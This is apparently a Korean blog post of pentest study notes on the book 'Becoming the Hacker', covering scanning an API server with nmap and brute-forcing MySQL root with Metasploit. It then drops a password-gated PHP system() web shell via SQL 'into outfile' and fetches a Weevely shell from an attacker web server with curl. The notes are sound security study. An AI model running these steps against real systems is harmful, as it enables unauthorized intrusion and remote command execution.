선릉역 1번 출구
[Becoming the hacker] Low-Hanging Fruit 본문
침투테스트에서 black box test가 유도될 때, OSINT가 도움이 되지 않는 정보이거나, 인터페이스가 직관적이지 않고 유저 친화적이지 않을 때 어려움을 겪음
이런 문제에 직면하면 API의 내부 연결이나 역공학을 시도하는 것 대신에 우회를 선택할 수 있음
- 강철 문이 아닌 창문으로 들어오기
Network assessment
- 잘 알려져 있지 않은 취약점을 exploit하기 위해 애쓰기 전, 해당 API 서버에 노출된 다른 서비스를 확인하자
*여기서 바라는 것은 개발자가 해당 서버를 배포할 때의 실수를 범하는 것임
- nmap 스위치/옵션
-sV | 식별된 서비스의 버전 스캔 수행 |
-A | 운영 체제 탐지를 시도하는 호스트 핑거프린팅 제공 |
-T4 | 침입 탐지 시스템에 의해 탐지될 위험이 있는 스캔 속도를 향상 시킴 |
-Pn | 타겟을 핑하는 것을 방지 |
-P1 | -p1-65535의 축약버전으로 타겟의 모든 가능한 포트를 스캔하도록 함 |
* 스위치는 Nmap 명령어 또는 옵션에서 사용되는 특별한 키워드 또는 문자열을 의미함
- 80 포트를 통해 구동되는 어플리케이션 서버가 아닌 노출된 DB 서버를 통해 attack을 시도할 수 있음
- 해당 DB 서버의 CVE를 찾아서 exploit을 시도할 수 있음
Looking for a way in
- nmap scan 결과 DB에 대한 version을 Return 받지 못할 때, Metasploit commands를 사용할 수 있음
- scanner module 사용: use auxiliary/scanner/mysql/mysql_version
- 모듈에 대한 추가 정보 확인: show info
- db_nmap 결과가 DB에 저장되어 있기 때문에 services 명령어를 통해 해당 모듈의 parameter를 자동으로 설정: services -s mysql -R
- 파라미터를 모두 setting하면, 남은 할 일은 해당 모듈을 구동시키는 것임: run
- 스캔 결과가 나올 때 업데이트된 결과를 확인 가능함: services -s mysql
- mysql의 OS version을 획득했지만, 해당 인스턴스에 CVE 취약점이 없는 경우 칼리로 root user로 로그인 시도
- mysql -u root -h [host]
Credential guessing
- mysql instance의 원격 접속 취약점을 발견하지 못했기 때문에 다음 시도는 root에 대한 비밀번호를 알아내는 것임
- 일반적으로 사용되는 password directory를 사용해 brute-force 공격을 시도함
- Metasploit을 사용하여 Mysql login 패스워드 추측 공격을 쉽게 행할 수 있음
- mysql_login auxiliary scanner module을 사용
- 이 모듈은 tuning에 사용가능한 몇가지 옵션이 있음
- noise를 줄이고 더 효율적인 공격을 하기 위한 옵션 설정
- set THREADS 10 - 속도 향상
- set VERBOSE false - 성공 결과만 출력
- set STOP_ON_SUCCESS true - 로그인 성공 시 attack stop
- 모듈 실행: run
- DB root 유저의 계정을 탈취 > 해당 DB가 API 서버가 사용하는 DB일수도 있고 아닐수도 있으나 셀을 생성하는 방법과 API 서버와 확장을 통해 목표를 exploit 하는 것이 가능한지 살펴볼 것임
- curl
- select "[shell code]" into outfile "[/path/to/file.php]";
select "<?php phpinfo();/*ECorpAppTest11251*/ ?>" into outfile "c:/xampp/htdocs/xampp/phpinfo.php";
*ECorpAppTest11251은 해당 shell을 clean up하지 못했을 때 blue team에게 알리는 용도의 flag임
- api.ecrop.local/xampp/phpinfo.php 경로를 접속하여 해당 파일이 open되었다면 [shell code]를 아래와 바꿔 system() 명령이 가능한 code로 재작성해줌
select "<?php if (md5($_GET['password']) == '4fe7aa8a3013d07e292e5218c3db4944') { system($_GET['cmd']); } ?>" into outfile "c:/xampp/htdocs/xampp/xampp.php";
*
해당 코드는 http request가 아래와 같을 때 system 명령이 가능함
A better way to shell
앞서 제작한, 단순 shell은 연속적인 명령어 호출을 하는 것이 어렵기 때문에 Weevely라는 더 뛰어난 shell을 사용할 예정
weevely generate [pw]
python의 SimpleHTTP를 사용하여 임시 웹 서버를 생성하여 간단한 실습 진행(아파치나 nginx 설정이 필요 없음)
- weevely에서 생성한 shell.php 파일과 동일한 디렉터리에서 아래 명령어를 통해 SimpleHTTPServer를 로드
python -m SimpleHTTPServer 80(2.x)
pythom -m http.server 80(3.x)
방법
- 공격자 서버에 weevely로 파일을 생성하고, 간단한 웹서버로 구동시킴
- 피해자 PC에서 생성한 쉘을 통해 curl 명령어를 실행하여 공격자 서버에 업로드된 shell.php를 다운
- 공격자 서버에서 weevely http://피해자 URL/shell.php [pw]로 쉘 실행
요약
- 보안을 제대로 지키는 것은 어려움 -> attacker들은 이를 악용하여 공격을 함
- application 프로그램 개발 cycle에서 응용 프로그램 코드 자체에 집중하기 때문에 보조시스템에 대한 제어는 덜할 것이라 가정함
- nmap을 통해 애플리케이션 서버를 스캔하여 추측하기 쉬운 비밀번호로 구성된 데이터베이스 서비스를 찾고, 인접 서비스에 대한 access를 통해 코드를 실행하고 궁극적으로 대상 서버에 접근하였음
if any at all | 극소수 |
obscure | 모호한, 잘 알려져 있지 않은 |
hammer away | 몹시 애쓰다 |
scrutinize | 세심히 살펴보다 |
recon(=reconnaissance) | 정찰 |
outdated | 구식의 |
in order A to B | A가 B하기 위해 |
fall short | 부족하다 |
uncover | 알아내다 |
alert | 알리다 |
resilient | 회복력 |
spawn | 생성하다 |
stumbled upon | 우연히 만나다 |
stumble | 발이 걸리다 |
succession | 연속 |
obfuscated | 애매하게 만들다 |
spawn | (어떤 결과를) 낳다 |
compromised | 손상된 |
auxiliary | 보조의 |
'Project > Program' 카테고리의 다른 글
[tryhackme] Nmap Live Host Discovery (0) | 2023.11.07 |
---|---|
[tryhackme] Google Dorking (0) | 2023.11.06 |
[Becoming the hacker] Efficient Discovery (0) | 2023.10.20 |
[Becoming the hacker] Penetration Test Tools (0) | 2023.10.19 |
[bug bounty] Lab: Information disclosure in version control history (0) | 2023.09.17 |